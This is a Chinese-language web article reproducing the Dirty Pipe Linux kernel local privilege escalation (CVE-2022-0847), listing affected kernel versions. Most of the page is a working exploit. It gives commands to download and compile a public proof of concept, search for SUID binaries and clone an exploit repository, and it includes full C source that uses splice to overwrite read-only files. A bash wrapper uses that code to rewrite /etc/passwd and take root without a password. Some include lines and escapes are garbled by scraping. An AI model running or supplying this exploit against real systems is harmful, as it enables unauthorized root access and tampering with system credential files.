栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

Dirty-Pipe Linux内核提权漏洞复现(CVE-2022-0847)

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Dirty-Pipe Linux内核提权漏洞复现(CVE-2022-0847)

漏洞描述

CVE-2022-0847-DirtyPipe-Exploit 存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件(甚至是只读文件)中的数据,从而可将普通权限的用户提升到root权限。

CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用,漏洞作者将此漏洞命名为Dirty Pipe。

影响版本

影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102

漏洞复现

查看系统内核

方法一:
mkdir dirtypipez

cd dirtypipez

wget https://haxx.in/files/dirtypipez.c

gcc dirtypipez.c -o dirtypipez

这个 POC 需要事先找到一个具有 SUID 权限的可执行文件,然后利用这个文件进行提权
find / -perm -u=s -type f 2>/dev/null

直接 ./dirtypipez 跟上具有 SUID 权限的文件即可提权
./dirtypipez /bin/su

方法2:
git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh

EXP
#/bin/bash
cat>exp.c<
#include 
#include 
#include 
#include 
#include 
#include 

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif


static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATAn", argv[0]);
		return EXIT_FAILURE;
	}

	
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundaryn");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundaryn");
		return EXIT_FAILURE;
	}

	
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the filen");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the filen");
		return EXIT_FAILURE;
	}

	
	int p[2];
	prepare_pipe(p);

	
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splicen");
		return EXIT_FAILURE;
	}

	
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short writen");
		return EXIT_FAILURE;
	}

	printf("It worked!n");
	return EXIT_SUCCESS;
}
EOF

gcc exp.c -o exp -std=c99

# 备份密码文件
cp /etc/passwd /tmp/passwd
passwd_tmp=$(cat /etc/passwd|head)
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"

echo -e "n# 恢复原来的密码nrm -rf /etc/passwdnmv /tmp/passwd /etc/passwd"

# 现在可以无需密码切换到root账号
su root

链接参考:

https://mp.weixin.qq.com/s/7K6_E9GrkeEPAb3Xr2VurQ

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/757322.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号